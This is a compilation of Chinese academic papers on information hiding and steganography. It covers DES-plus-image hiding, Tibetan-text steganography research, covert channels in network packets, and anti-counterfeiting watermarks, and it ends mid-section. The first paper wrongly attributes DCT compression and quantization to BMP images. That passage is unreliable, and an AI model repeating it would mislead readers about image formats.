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篇（1）

【 中圖分類號 】 TN915.08 【 文獻標識碼 】 A

【 Abstract 】 This paper presents a kind of information hiding technology， first of all， through using DES encryption algorithm to encrypt files， and then through information hiding， encrypted file hidden in the BMP image， the encryption image is exactly the same with the original image， the protection of the data is implemented very well.

【 Keywords 】 information hiding； des； encryption image

1 引言

信息隱藏是上世紀90年代開始興起的信息安全新技術，并成為信息安全技術研究的熱點。傳統通信領域為了保證傳遞的信息能夠不被竊聽或破壞，常采用密碼來保護信息，即讓竊聽者無法看到或聽懂，但是這種技術的缺點是告訴竊聽者這就是秘密信息，特別是隨著計算機技術的發展，密碼的安全性受到很大挑戰。而新的信息隱藏技術是將需要傳遞的秘密信息，隱藏在一個普通的非秘密消息當中，再進行傳輸，這樣即使竊聽者竊聽了傳輸的信息，也只會將其當成普通的消息，而不會懷疑或者無法得知是否有秘密信息的存在。

BMP是目前最常見的一種圖像格式，采用BMP圖像作為隱藏消息的載體具有許多優點。首先，BMP圖像格式是互聯網上圖像傳輸的事實標準，使用這一圖像格式比起其它格式來更不會引起懷疑。其次，BMP壓縮造成的和秘密消息嵌入帶來的圖像質量退化是肉眼很難分辨的。為了更好地保證信息的安全性，本文把文件密碼加密和信息隱藏這兩種技術結合起來：首先利用DES（Data Encryption Standard）把信息文件進行加密，然后把加密后的文件通過選定的BMP圖像以特定算法進行隱藏。

2 信息隱藏算法

信息隱藏把前面的加密信息隱藏在無關緊要的載體BMP圖片中，第三方并不知道秘密通信這個事實的存在，也就是將秘密信息本身的存在藏起來，即使得到了載密對象，也看不到存在的秘密信息。

隱藏算法通過對BMP圖像中選定的DCT系數進行微小變換，以滿足特定的關系來表示一個比特的信息。在提取隱藏的信息時，根據隱藏的逆過程抽取比特信息。其特點是隱藏的數據量較少，但是其抵抗幾何變換等攻擊的能力較強。

在BMP編碼中，量化過程是多對一的映射，它是有損變換過程，如果在量化前嵌入秘密消息，會丟失一些信息，從而導致解碼時不能正確的獲得秘密信息。因此，BMP圖像的隱寫算法的基本原理必須在量化后進行。由前所述，人眼對亮度信號比對色差信號更敏感，因此本工作將秘密消息與量化后的Y分量的DCT系數的LSB聯系起來，從而達到嵌入和提取秘密信息的目的。

隱藏流程如圖1所示，具體分為三步驟。

（1）對BMP圖像的壓縮數據進行解碼，得到量化后的DCT系數。

（2）按照隱寫算法的嵌入規則對Y分量的DCT系數進行修改，將要隱藏的秘密消息嵌入到其中。

① 首先對載體圖像按照8×8的分塊方式進行分塊。如果載體圖像的行數和列數的像素個數不為8的倍數時，則要進行邊界擴充處理，使得行數和列數的像素個數都是8的倍數。設載體圖像的行數為ImgHeight，列數為ImgWidth，Y在行和列方向上的采樣率分別為SampRate_Y_H和SampRate_Y_V，則整幅圖像被分為MCUNum = ImgWidth * ImgHeight / （64 * SampRate_Y_H * SampRate_Y_V）個小塊。

② 讀入待隱信息文件，把其轉換為二進制的位流。設待隱信息文件的長度為FileLength。為了以后提取待隱信息，需要傳遞文件長度，用2個字節表示，可表示的最大數為65535。這樣總的需要隱藏的信息長度 TotalFileLength = FileLength + 2，單位是字節。

③ 對一個MCU，按照對Y分量的DCT系數最低位進行修改。查找預定義的矩陣MIDBAND，該矩陣由數值0，1組成，對其中數值為1的位置修改對應DCT的頻率系數：如果當前待隱信息的二進制值為0，則把相應位置的頻率系數值的最低為修改為0；如果當前待隱信息的二進制值為1，則把相應位置的頻率系數值的最低為修改為1。

④ 對待隱信息文件的二進制流按照③的隱藏方案進行信息隱藏。如果待隱信息文件長度大于載體圖片的最大隱藏量，則把待隱信息文件按照最大隱藏量進行分段，然后分批按照隱藏流程處理。

（3）對修改后的DCT系數進行編碼，重新生成壓縮數據，即載密BMP圖像。對于上面分批隱藏的，生成系列載密圖像如圖2所示。

秘密消息的提取過程是嵌入過程的逆過程，提取算法要和隱寫算法相對應。

3 結束語

在網絡飛速發展的今天，信息隱藏技術的研究具有現實意義。本文將DES加密技術與信息隱藏技術相融合，將加密后的信息隱藏到最常見的BMP圖片中，使整個信息隱藏過程達到比較高的安全級別。信息隱藏技術在商業中的廣泛應用，是一個跨多領域、多學科（數字信號處理、圖像處理、模式識別、數字通信、多媒體技術、密碼學、語音處理等）的技術體系，由于它與具體的應用密切相關，這也決定了信息隱藏技術研究成果的多樣性以及信息隱藏技術研究的不完善性，仍有許多技術問題需要解決。但可以相信，隨著科學技術越來越發達，信息隱藏將有更加廣闊的發展空間。

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篇（2）

中圖分類號：TN401 文獻標識碼：A 文章編號：2095-1302（2014）12-00-05

0 引 言

安全、有效的信息傳輸對國家安全、社會穩定和人民安居樂業至關重要。網絡和多媒體技術的發展，使得信息傳輸的速度和數量正以驚人的增量發展。然而，信息傳輸的便利在方便人們的同時也給信息安全帶來了隱患，同時也為基于數字載體的秘密信息傳輸提供了廣闊的研究空間。目前，基于載體的秘密信息傳輸是信息安全領域的一個方興未艾的研究熱點。而基于載體預處理的藏文信息隱藏技術將為信息安全領域提供一些新的數字信息共享和傳輸理念，特別是藏文的預處理規律、在數字信息中的隱藏規律等，將有助于涉藏秘密通信技術的發展，并可以對民用和商用領域中涉及到藏文內容的傳輸、共享、存儲和提取的通信過程起到安全保護、版權保護及完整性認證的作用，并對國家涉藏領域的網絡輿情監控、國內外涉藏敏感信息標注和情感色彩認知起著至關重要的作用。

在藏文信息隱藏技術方面，目前主要涉及的技術有關鍵字識別、字符識別和提取、韻律認知、語義角色標注、文本資源挖掘和語料抽取等，并以此為基礎進行置亂優化。

1 國內外信息隱藏技術研究現狀

信息隱藏一直是信息安全領域中保障隱秘信息安全傳輸和數字信息版權的重要手段，也是近年來國內外學者研究的熱點之一。最新的一屆ACM信息隱藏和多媒體安全會議（ACM IH&MMSec’13 Workshop）的主要研究內容有信息隱藏算法、多媒體水印和認證、載體運算域的數字信號處理等。其中，信息隱藏算法的設計首先依賴于載體的選擇和預處理;關于多媒體水印和認證的研究則將信息隱藏和數字水印的載體范圍從數字圖像等常見載體拓展到了包括三維模型在內的新型載體上;載體運算域的數字信號處理涉及到了載體預處理時所用的具體方法，如空間域或變換域等。2013年IEEE 圖像處理國際會議（IEEE ICIP 2013）的主要研究內容包括圖像、音視頻和3-D等多媒體的信息隱藏算法和多媒體特征提取和分析等，這兩類研究內容均與載體的選取和預處理有關。最新一屆信息隱藏國際會議（IH2012）的主要研究內容包括多媒體安全和其他載體的信息隱藏。我國的第十一屆全國信息隱藏暨多媒體安全學術大會（CIHW2013）中關于信息隱藏算法的研究內容也主要集中在非常規載體的分析和預處理上。

藏文作為信息隱藏領域一種新的信息格式，對其研究主要局限于藏文操作系統、藏文信息技術標準、藏文信息處理等幾個方面[1]，具體內容集中在藏文編碼字符集、術語集、拼音輔助集等的建立。

基于載體的秘密通信技術是20世紀90年代中期發展起來的跨領域的學科，而載體的預處理技術一直是其研究的主要方向。對隱藏載體進行預處理，生成信息隱藏嵌入區域是信息隱藏算法中最重要的研究內容之一。從上述國內外各學術會議中關于信息隱藏的參會論文和研討情況看，各類載體固有特性的研究對預處理技術有著重要的意義，且數字圖像依然是主要的一類載體，而三維模型將是未來主要研究的一類非常規載體。下面就對數字圖像和三維模型兩類載體的預處理技術的研究現狀進行闡述。

1.1 數字圖像預處理技術研究綜述

基于數字圖像的信息隱藏技術是信息隱藏學科中重要的技術分支，是目前應用最廣、覆蓋范圍最大的信息隱藏技術手段。在基于數字圖像的信息隱藏技術研究中，信息隱藏區域的生成是關系算法性能的重要因素。信息隱藏區域的生成方法主要包括空間域生成法、變換域生成法以及空間域和變換域聯合的生成方法。

空間域算法：作為空間域算法中出現最早、操作最簡單且應用最廣泛的算法，基于位平面分解理論的LSB算法可以直接替換的方式隱藏較大的數據量，劉紅翼等提出的一種LSB算法具有容量大、運算量小的特點[2];劉文彬等提出的LSB隱寫替換的消息定位方法則可以對此類算法進行檢測[3];而IH2012的論文中，有學者運用假設檢驗理論和含秘載體的奇偶感知特性可有效地檢測LSB算法所隱藏的隱秘信息[4，5]，這些研究為藏文信息隱藏中涉及到關于此類算法的抗檢測性研究提供了新的待改進方向。張焱等提出的像素值排序和趙彥濤等提出的直方圖修改等空間域算法在沿用LSB直接替換的隱藏理念的同時，還提升了魯棒性，因此也被廣泛用于數字圖像載體預處理[6，7];隨后，楊春芳等提出了針對此類算法的檢測方法[8]，這也為針對此類算法抗檢測性改進的研究提供了重要依據。此外，上述同類算法中的載體子區域劃分思想、內容自適應思想等也對本項目基于載體結構特性建立空間匹配模型的機制提供了方法學上的有力支持[9-13]。

變換域算法：不同于空間域算法直接對載體的空間特性進行修改，變換域預處理方法以修改載體的頻率參數來隱藏信息[14]，因此算法的魯棒性比空間域算法好。在此基礎上，唐燕等又對隱秘信息的檢測和恢復進行了研究和改進，實現了幾乎無需原始參量的半盲提取[15]。盡管變換域算法不具備空間域算法容量大、運算量小和易操作等優勢，但是變換域中的多小波理論因其同時具有對稱性、短支撐性、二階消失矩和正交性等特性成為了信號處理中有明顯優勢且較常用的方法，在前期研究中利用多小波方法將數字圖像載體分塊后作為嵌入區域，提高了算法的魯棒性和不可見性[16，17]，這種方法為在藏文信息隱藏研究中建立基于區域能量的階梯性分布機制提供了一種研究手段。

混合域算法：較單獨運用一種空間域或變換域生成隱藏區域并設計信息隱藏算法來看，基于空間域與變換域聯合的信息隱藏算法可以兼有多種算法的性能優勢。在基于空間域和變換域聯合的信息隱藏算法中，空間域的作用體現在數據嵌入的具體操作方面，因為隱藏的實質就是在當前環境下的空間分量上進行數據修改，利用邊緣像素值差分（Edged Pixel Value Differencing，EPVD）將載體換算為若干個像素塊，以最大斜角的數據修改作為信息隱藏的具體方法[18];利用濕紙碼和基于LSBM的雙層隱寫來對載體進行加1嵌入或減1嵌入[19];另外，國內外許多學者利用調色板理論進行數據嵌入[20，21]。而變換域在載體預處理中的主要作用是生成滿足特定需要的信息隱藏環境（區域），主要包括變換后的系數分布以及n階分量子圖等。如對RSV顏色空間的V分量做DCT變換，分塊后作為嵌入區域[22];利用視覺顯著點技術確定跟蹤窗（Regions of Interest，ROI），在ROI的DCT系數上嵌入隱藏信息，并指定某個ROI邊緣地圖脆弱性標識，嵌入到DWT變換后的含密圖像中[23];前期研究中，研究人員利用自適應顏色遷移理論中lαβ域對顏色的控制力，消除了RGB顏色分量的強相關性，并結合GHM能量分區隱藏信息，在不可見性、嵌入信息量和魯棒性方面均具有較好的表現[24]。

1.2 三維模型預處理技術研究綜述

潘志庚等將基于三維模型的信息隱藏預處理方法主要分為空間域算法和變換域算法[25]。這也這為藏文信息隱藏研究提供了新的思路和方法。

空間域算法：空間域算法通常具有易嵌入和盲提取的特點，如直接置換載體的幾何信息來隱藏數據是三維模型載體信息隱藏最原始、最直接的方法[26]。為改進此類算法的魯棒性，引入仿射不變量是有效的措施，如利用具有連續解析性的仿射不變量優化需要置換的頂點[27]、 將穩態錨點通過三角垂心編碼解析為聚類元素從而嵌入隱秘信息[28]。此外，基于主元分析的算法也有助于改善空間域算法的魯棒性，例如可根據主元分析（Primary Component Analysis，PCA）來確定模型的關鍵位置作為魯棒區域，并用網格分割法改進魯棒性和不可見性[29-32]。這類算法也為藏文信息隱藏從載體結構特性進行解析和預處理提供了理論依據。改進型的空間域算法多針對魯棒性或容量性有所提升，如基于連續解析性的體積矩的盲算法，改善了之前算法對連通性攻擊的魯棒性[33];通過重排頂點和面片在網格文件中的表示信息，利用表示域內的信息進行嵌入使算法具有良好的不可見性和大容量性[34]，但對相似變換以外的攻擊不具有魯棒性。

變換域算法：三維模型預處理的變換域方法大多利用頻譜分析將模型信息參數化[35]，對參數進行少量修改后以隱藏信息，其中，基于小波變換的算法可以對規則和非規則網格模型進行小波域參量修改以嵌入較多信息[36]。理論上，變換域算法比空間域算法魯棒性強，但由于三維模型頂點的天然無序性和不規則性，對其進行頻譜分析難度大，導致變換域算法實用性目前較低，因此空間域算法依然是比變換域算法更有實用價值的研究方向[37]。

2 藏文信息隱藏技術研究現狀

目前反映藏文信息處理技術最新進展的文獻較少，綜合以已有的研究成果及相關研究文獻，藏文信息處理可劃分為藏語信息處理和藏字信息處理兩個層次[38，39]。藏語信息處理包括機器翻譯、信息檢索、信息提取、文本校對、文本生成、文本分類、自動摘要以及藏文字識別和語音識別的后處理等等;而藏字信息處理包括操作系統以及編碼字符集、輸入技術、字形描述與生成、存儲、編輯、排版、字頻統計和藏字屬性庫等。這些研究基礎對藏文信息隱藏技術的發展至關重要，是基于載體預處理的藏文信息隱藏的主要技術來源。鑒于藏文的獨特構造，以及藏文的特點，目前對藏文秘密信息的預處理技術一般指置亂和加密算法的選擇[40]，而置亂使信息變得雜亂無章難以辨認，可以起到加密與改變信息嵌入特性的作用。可用于藏文信息隱藏的置亂算法主要有Arnold變換、幻方矩陣、Gray碼變換、混沌序列等方法[41]。其中，Arnold變換算法簡單且置亂效果顯著，使有意義的數字圖像變成像白噪聲一樣的無意義圖像，實現了信息的初步加密和信息結構的調整，在嵌入信息為數字圖像時可以很好的應用[42]。幻方置亂的思想基于查表思想，基于數字圖像的幻方置亂可降低幻方置亂階數或以圖像塊進行置亂，實現置亂效果與系統開銷的平衡[43]。Gray是一種具有反射特性和循環特性的單步自補碼，它的循環、單步特性消除了隨機取數時出現重大誤差的可能，它的反射、自補特性使得求反非常方便[44]。混沌的優勢在于對初始條件的極端敏感和軌跡在整個空間上的遍歷性。根據經典的Shannon置亂與擴散的要求，這些獨特的特征使得混沌映射成為信息隱藏嵌入算法的優秀候選[45]。上述傳統的置亂算法一般用于正方形圖像處理，而經過改進的Arnold算法可直接用于寬高不等的矩形圖像而不必進行正方形擴展[46]，這也將是藏文信息隱藏技術所采用的主要置亂方法之一。

3 藏文信息隱藏技術的研究目標、研究內容和要解決的問題

3.1 研究目標

面向藏文安全通信的高性能信息隱藏算法是目前藏文信息隱藏技術的主要目標，包括提出性能出色的、適合藏文通信要求的信息隱藏算法;提出一種具有普適性的高性能信息隱藏嵌入區域生成原則和嵌入規則：

（1） 基于數字圖像的藏文信息隱藏算法：提出至少兩種基于數字圖像的藏文信息隱藏算法，算法將同時滿足面向藏文安全的信息隱藏應用所要求的高不可見性（PSNR≥34.90dB）、強魯棒性（抗擊大約69%以下的JPEG2000壓縮、35%以下的剪切及常見濾波與加噪）、大容量性（基于彩色圖像的信息隱藏信息嵌入率≥18%）以及高感知篡改性（檢測隱藏數據是否被篡改能力≥95%）。

（2） 基于三維模型的藏文信息隱藏算法：提出至少一種基于三維模型的藏文信息隱藏算法。算法將同時滿足面向藏文安全的信息隱藏應用所要求的高不可見性（RSNR≥69.94dB、En≥70%）、應對一般攻擊的強魯棒性（抗擊大約0.10%隨機加噪、50-times Laplacian平滑、50%均勻重網格化以及均勻簡化等）、大容量性（相對理想的RSNR，嵌入率≥29%）以及低復雜度（根據載體模型幾何信息量而變化）。

（3） 普適性信息隱藏嵌入區域生成原則和嵌入規則：利用載體圖像能量和復雜度特性，提出基于能量性和復雜度的藏文信息隱藏區域生成原則和嵌入規則，將適應于所有對數字圖像處理后有能量區別的圖像處理方法，指導設計者利用能量與魯棒性、復雜度與不可見性的對應關系，研究出同時滿足不可見性和魯棒性的信息隱藏算法。

3.2 研究內容

（1） 藏文信息隱藏區域生成原則與規則研究：數字圖像信息隱藏技術的研究核心集中在隱藏區域和嵌入規則的設計上，藏文信息隱藏算法的設計方法和思路就是在選定藏文信息隱藏區域以及制定好信息隱藏規則后，按照一定的順序將兩者進行合理的組織，所以研究藏文信息隱藏區域生成原則以及信息隱藏規則是重點。

（2） 基于數字圖像的藏文信息隱藏算法研究：隱藏算法是基于數字圖像的信息隱藏技術的研究核心，需按照嵌入域進行劃分，對基于空間域和基于變換域的信息隱藏算法分別進行研究，提出單獨基于空間域、單獨基于變換域以及兩者聯合應用的數字圖像信息隱藏算法。

（3） 基于三維模型的藏文信息隱藏算法研究：首先對三維模型的結構特性和能量特性進行研究，再根據載體模型的特性找出對應的預處理方法。在研究基于空間域和基于變換域的信息隱藏算法的基礎上，提出改進型的三維模型信息隱藏算法。主要用于提升載體有效嵌入容量和降低載體視覺失真度。

（4） 載體與藏文秘密信息的一致化方法研究：基于上述研究基礎，生成結構和能量差異化子區域，再將藏文秘密信息按照拼音屬性進行解析生成信息序列。再利用優化算法使得預處理后的載體信息和藏文秘密信息的解析編碼獲得最大一致化，從而提高算法性能。

3.3 需解決的關鍵問題

綜合已有的研究，在藏文信息隱藏技術方面，目前需要解決的問題有以下幾個方面：

（1） 信息隱藏區域與嵌入規則設計：在具有什么性質的區域內應用什么樣的規則進行藏文信息隱藏才可以解決“不可見性與魯棒性的對立、容量性與抗分析性的對立”問題，是藏文信息隱藏研究領域的關鍵技術之一。需找出隱藏區域的性質與信息隱藏性能的關系，提出面向藏文信息傳輸的信息隱藏區域選擇的原則與方法;給出在具有具體性質的嵌入區域中的藏文信息隱藏嵌入規則的制定原理和方法;提出大量的藏文信息數據轉換思想與方法，以提供形式多樣的信息隱藏嵌入規則。

（2） 數字圖像載體預處理方法：①多小波理論在載體預處理中的應用。對于數字圖像經過多小波變換后所具有的特殊性質，找出多小波變換后數字圖像所具有的能量特性與基于數字圖像信息隱藏算法性能之間所遵循的規律已有學者進行研究。②顏色空間的性能分析與應用選取。RGB、CMYK、lαβ、YUV以及HSx顏色空間，應用方法以及應用各有優劣勢。該技術的應用難點在于為顏色空間在藏文信息隱藏的應用提出完備的應用方案，因為這些顏色空間在藏文信息隱藏技術中的應用目前非常少，應用優劣還處于實驗驗證階段，沒有理論驗證的支持。

（3） 三維網格模型載體預處理方法：骨架抽取和內切球解析技術在藏文信息隱藏算法中的應用。這種方法不涉及頂點數量及坐標的改變和拓撲關系的修改。難點在于尋找一個理想的仿射不變量作為輔助參數以彌補算法對縮放攻擊的脆弱性。

（4） 藏文的置亂與遺傳優化算法：有的藏文字處理系統把藏文看成是由30個輔音、4個元音、3個上加字、5個下加字共42個藏文字符組成的，而有的則認為由其他數量的字符組成。基于對藏文中加字對發音的影響規律的研究，利用字符與二進制碼的解析規則和置亂與優化技術對信息置亂，達到隱藏信息與載體信息的最大匹配度也是一個技術難點。

4 藏文信息隱藏技術研究的新方法

（1）利用載體圖像能量和復雜度特性，提出基于能量性和復雜度的藏文信息隱藏區域生成原則和嵌入規則。高能量與強魯棒、高復雜度與高不可見性的對應關系，從根本上解決藏文信息隱藏算法中不可見性和魯棒性的對立問題，為面向藏文通信安全的信息隱藏算法的設計給出一種普適性方法。

（2）根據數字圖像信息隱藏嵌入區域的生成原則和嵌入規則，提出新的、高性能的數字圖像的藏文信息隱藏算法。算法利用lαβ等顏色空間轉換以及多小波對載體圖像進行的處理，生成具有不同能量特性的嵌入區域，從頻率域上滿足藏文信息隱藏的應用要求;通過對載體圖像進行顏色遷移、矢量解析以及環形處理，從數字圖像的空間結構上滿足藏文信息隱藏的應用要求。

（3）提出滿足三維模型結構特性和能量特性的藏文信息隱藏算法。算法利用局部高度理論和均值偏移理論對載體模型進行預處理，生成具有不同能量特性的嵌入區域，從頻域上滿足信息隱藏的應用要求;通過對載體圖像進行骨架抽取、內切球解析，從空間結構上滿足藏文信息隱藏的應用要求。

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篇（3）

中圖分類號：TP309 文獻標識碼：A文章編號：1007-9599 (2011) 14-0000-01

Information Hiding Technology and Implementation Methods

Wang Hao,Yang Bo,Zhang Jian

(Shandong Provincial Military Area Command,Jinan250099,China)

Abstract:Today,the information technology and the computer technology is highly developed,the combination of digital information and the ancient steganography make the digital hiding technology become a new technology,which provides a new way to explore the non-cryptographic security communication.

Keywords:Information hiding technology;Implementation

信息隱藏的思想起源于隱寫術，它是一種將秘密信息隱藏于另一個非機密文件內容之中，在傳輸、存儲過程中不被察覺和發現，接收者獲得隱藏對象后，按照約定規則還原秘密信息的技術。其道理如同生物學上的保護色，巧妙地將自己偽裝隱藏于自然環境中，免于被天敵發現而遭受攻擊。

信息隱藏技術可以追溯到遠古時代，方法從音符、咒語到五花八門的隱寫術，但隱寫術發展一直比較緩慢，沒有成為一門獨立的學科，人們對于信息保密更多的是采用密碼技術。直到信息技術和計算機技術高度發達的今天，數字化信息與隱寫術相結合，為古老的隱寫術注入了新的活力，使得數字化信息隱藏技術成為一門全新的技術，為探索非密碼的通信安全提供了新途徑。

一、信息隱藏的基本方式

（一）傳輸隱藏。在視頻通信系統中隱藏信息，利用視頻通信壓縮編碼中可利用的資源，在確保不使視頻信號質量嚴重下降的前提下，嵌入壓縮的話音編碼，形成秘密通信信道。同時數據通信中的IP包和TCP包，均有未使用的保留空間，可用來傳輸隱藏信息。另外，IP包的時間戳也可傳送1個比特的數據。

（二）載體隱藏。在文本文件、圖像文件及可執行文件中插入秘密信息，可實現信息隱藏。利用話音信號的自然冗余性，將秘密信息直接編碼到文件內容中去，或將其編碼到文本格式中，形成以文本為載體的信息隱藏。將秘密信息插入圖像文件中對人的視覺系統不敏感的比特位，在不影響圖像質量的前提下實現信息隱藏。利用可執行文件中的冗余信息，加載秘密信息。

（三）存儲隱藏。利用計算機系統中保留或未使用的空間保存秘密信息，為隱藏信息提供另外一種方式，通過創建隱藏分區、使用操作系統分配給文件但未使用的空間來隱藏信息。同一個計算機系統中不同安全級別的兩臺主機，根據預先約定的規則，通過存儲特定數據也可傳遞信息。級別高的主機在特定區域存儲不同大小、不同名稱的文件，級別低的主機雖不能訪問數據，但可從文件列表獲取所要的信息。

二、信息隱藏的實現方法

（一）基于替換的信息隱藏方法。基于替換的信息隱藏，就是用秘密信息比特替換掉偽裝載體中不重要的比特，實現對秘密信息的隱藏。如果這種嵌入的信息在傳輸過程中不被察覺，接收者就可從秘密信息嵌入的位置提取出秘密信息。常用的替換方法：一是最低比特位替換。就是利用圖像位平面最低幾位比特對人的視覺系統不敏感的特性，將這些比特替換成秘密信息的相應比特。利用此種方法可在偽裝載體中隱藏大量秘密信息而不被察覺。二是偽隨機置換。就是把秘密信息比特近似隨機地分散在整個載體中。用偽隨機數發生器產生索引序列，并在以此為索引的載體元素中插入秘密信息。利用此種方法插入比特的順序無規律可找，因而增加了被攻擊的復雜度。三是載體區域和奇偶校驗位替換。將載體偽隨機地分成若干個不相接的載體區域，在每個區域的奇偶校驗位上嵌入一個信息比特，若奇偶校驗位與信息比特不匹配，則區域中所有值最低一個比特位反轉，使二者相等，在譯碼過程中計算出所有區域的奇偶校驗位，排列起來重構信息。四是量化和抖動替換。利用數字圖像的抖動和量化處理過程插入秘密信息。運用預測編碼的量化誤差，通過調整差分信號Δi來傳送秘密信息。五是OSI網絡協議幀結構替換。就是將秘密信息插入TCP/IP包中未使用的空間，形成一個秘密的通信信道。

篇（4）

DOI：10.16640/ki.37-1222/t.2016.11.135

0 引言

隨著科技的進步，通信技術的飛躍式發展，計算機互聯網的迅速普及，使得越來越多的人和公司通過網絡傳輸大量的數據文件，但是由于互聯網具有連接形式多樣性以及開放性和互聯性，使得這些互聯網上傳輸的數據文件很容易受到攻擊或竊取，如果涉及國家安全和軍隊建設乃至個人的隱私信息方面，信息安全問題將變的更加敏感。查閱文獻，發現現階段研究人員關注的熱點有倆個，即信息加密和信息隱藏，其中信息隱藏就是把需要傳遞的秘密信息進行偽裝，隱藏在普通文件中，即使文件被攻擊、竊取，也不易發現其中的隱藏信息，可以有效的加強信息在傳輸過程中的安全性，因此有必要對信息隱藏技術進行進一步的研究。

1 信息隱藏技術的含義

信息隱藏是利用人類對多媒體數字信號不敏感，將秘密信息隱藏在一個不被關注的多媒體信號中，這樣敏感信息不會被發現，而且也不會影響到多媒體信號的感覺效果和使用價值，當我們利用這樣的技術傳輸敏感信息時，可以對第三方起到混淆的作用。一般來說隱秘信息的載體選擇有多種類型，比如我們經常見到的圖像、聲音、視頻還有文檔都可以作為敏感信息的載體，這樣做的目的是不引人注目，其次即使載體信息被截獲，也很難對隱藏信息進行提取，安全性得到了極大的提高。

2 信息隱藏的具體方法

參考傳統加密技術方法，我們有保留的基礎上對信息隱藏技術進行了一定的改進。常用的具體方法有數字水印技術、疊像技術以及替聲技術等。其中，疊像技術是1994年提出的可視密碼術（VisualCryptography），用有意義的明文圖像代替原來的隨機噪聲圖象，使之更具安全性。數字水印（Digital Watermarking）技術是將一些標識信息（即數字水印）直接嵌入數字載體中，但不影響原載體的使用價值，也不容易被人的知覺系統覺察。通過這些隱藏在載體中的信息，可以達到確認內容創建者、購買者、傳送隱秘信息或者判斷載體是否被篡改等目的。替聲技術與疊像技術很相似，它是通過對聲音信息的處理，使得原來的對象和內容都發生改變，從而達到將真正的聲音信息隱藏起來的目的。替聲技術可以用于制作安全電話，使用這種電話，可以對通信內容加以保密。

（1）替換技術。把秘密信息偽裝成載體榮譽部分，進行替換后載體的可視性并沒有被破壞，常用的手段有最小有效位替換、偽裝隨機替換，載體的奇偶位對換，圖像的調色板替換等。

（2）變換技術。將秘密信息做正交變換，利用擴頻技術把變換后的秘密信息隱藏到載體的變換域中。這種技術的優點是，它通過不同的空間頻率敏感的感官系統來確定秘密信息具體的嵌入位置及嵌入強度，有效的對嵌入信息進行了隱藏。

（3）擴頻技術。當對隱藏秘密信息的載體做過濾操作的時候，秘密信息可能被部分過濾，造成秘密信息丟失。在嵌入秘密信息時進行多次重復的代碼擴展，對載體進行過濾時，秘密信息保留的概率大大增加。信息數據率高許多倍偽隨機碼把包含基帶信號的頻譜數據進行擴展，形成寬頻帶低功率譜密度的信號。

3 信息隱藏的特點

信息隱藏有不同的分支，但所有分支都有很多共同的特點。第一，信息隱藏系統必須保證隱藏信息的不可見性，即在把秘密信息嵌入載體的過程中不能留下任何的痕跡，如果這一過程影響到圖像質量，圖像信息嵌入價值將減少，信息隱藏系統安全性降低。 其次，在對載體進行矢量變換操作以后，載體中的隱藏信息任然可以保持完整，并可以極大的概率被提取。 第三，要實現隱藏信息在載體中的不可見性，隱藏信息的長度與載體的長度必須保持一個適度的量，因為載體容量與信息隱藏率是正比關系的。 第四，要足夠安全，即攻擊者不能有效的讀取和修改載體中的秘密信息。

4 網絡通信中信息隱藏技術的應用

網絡通信中往往根據信息載體的不同，利用文本、語音、視頻以及二進制的隱寫，把秘密信息隱藏在具體的公開轉播的數字多媒體信號中，使得秘密信息可以在網絡中進行安全有效的傳輸的一種技術。

（1）數據保密。在公司之間進行談判時，可能會利用網絡傳遞一些敏感的信息，比如雙方的協議、合同、報價等重要文件，包括數字簽名，為了保護這些敏感信息的安全性，可以把這些信息以隱藏的形式傳遞給對方，這樣我們就可以在非相關人員難以發覺的狀態下完成彼此信息交流。

（2）數據的不可抵賴性。在網絡上進行談判，簽訂協議等行為，由于不能互相見面，為保證雙方不能否認自己做過的承諾并且接受對方傳遞的條款，需要在傳遞的信息中加入簽名水印，確認其行為目的。

（3）數據的完整性。為保證我們接收到的信息是真實的，沒有在網絡傳遞的過程中被篡改，可以在傳遞的具體多媒體數據中嵌入一個完整信息，收到多媒體數據后可以對完整信息進行提取，用于確定此多媒體數據是否被篡改。

信息隱藏技術是目前學術界倍受關注的一個熱點領域，由于現代通信技術的爆炸式發展，互聯網飛速普及，每時每刻都有海量的信息在網絡上傳輸，對敏感信息安全進行保護變的更加具有現實意義。在眾多研究人員的不懈努力下，信息隱藏技術取得很多的成果，但是，信息隱藏技術作為一個跨學科的技術體系，我們對它的研究還不是很完善，還有許多的問題沒有解決。信息隱藏技術的成熟性、實用性還與密碼加密的網絡傳輸技術相比較，還有很大差距。但是，其潛在價值是無法估量的，在未來甚至是不可不取代的，我們相信，隨著技術的進一步發展，信息隱藏技術將涌現出更多的思路和辦法，將對信息安全系統的未來扮演重要的角色。

參考文獻：

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篇（5）

追溯碼的隱藏技術

1.數字水印技術

數字水印是基于內容的非密碼機制的信息隱藏技術，通過對數據的內容做微量修改來嵌入水印信息，從而達到信息隱藏的目的。該過程不影響原來數據的正常使用，不改變原媒體的外觀，是迄今為止唯一可以跨媒體應用的信息安全與防偽技術。嵌入的水印信息可以通過技術軟件或者特定的設備提取出來。當前，在國際研究領域中盛行的數字水印技術是采用信號分析的理論，通過傅里葉變換、小波變換等手法，尋求肉眼不易發現的地方埋入信息。一個完整的數字水印系統包括兩個階段，即水印信息的嵌入和水印信息的提取。在食品包裝印刷中運用數字水印的原理與在普通數字媒體中運用的原理基本上是一樣的，只不過印刷品是以半色調的網點來再現連續調原稿的層次和顏色變化，而在提取或檢測水印過程中要對印刷品進行掃描，在掃描中有一個模/數轉換過程。因此在數字水印嵌入和提取或檢測過程中，必須結合半色調加網技術和模/數轉換的算法，把追溯碼作為水印以視覺不可見的形式隱藏在食品包裝印刷中，通過特定的檢測設備就能提取到追溯碼的信息，進行食品的安全追溯。

2.隱形光柵防偽技術

隱形光柵防偽技術是基于半色調圖像加網技術與光柵材料的光學折射特性相結合的防偽方法。該方法主要用于對半色調圖像進行防偽設置，半色調圖像經過防偽處理后，隱藏在圖像中的信息只能通過特定的光柵才能看到，如圖1所示。該方法簡便易行，對設備及印刷工藝沒有太高的要求，在不增加生產成本的情況下即可達到防偽的目的，因此該防偽技術有較好的發展前景。

隱形光柵防偽技術又叫開鎖防偽技術，隸屬于版紋防偽技術。它是利用光線的干涉原理，通過線條的變化來表現隱藏文字和圖像等信息，加上制作的膜片，稍稍調整角度即可使隱藏信息顯現出來的一種防偽技術。隱形光柵防偽技術屬于二線防偽技術，也是隱藏防偽技術，需要工具才能檢驗。該技術的設計在制版中完成，在印刷中實現，不增加額外的制作成本，其素材在選擇上不受限制，制作形式極為廣泛。它是一種利用光學原理進行信息隱藏的技術，使用相應的解碼設備解碼后可以顯示出事先設計的隱含信息，起到了一定的防偽效果，非常適合運用到食品的外包裝上。

3. 二維碼技術

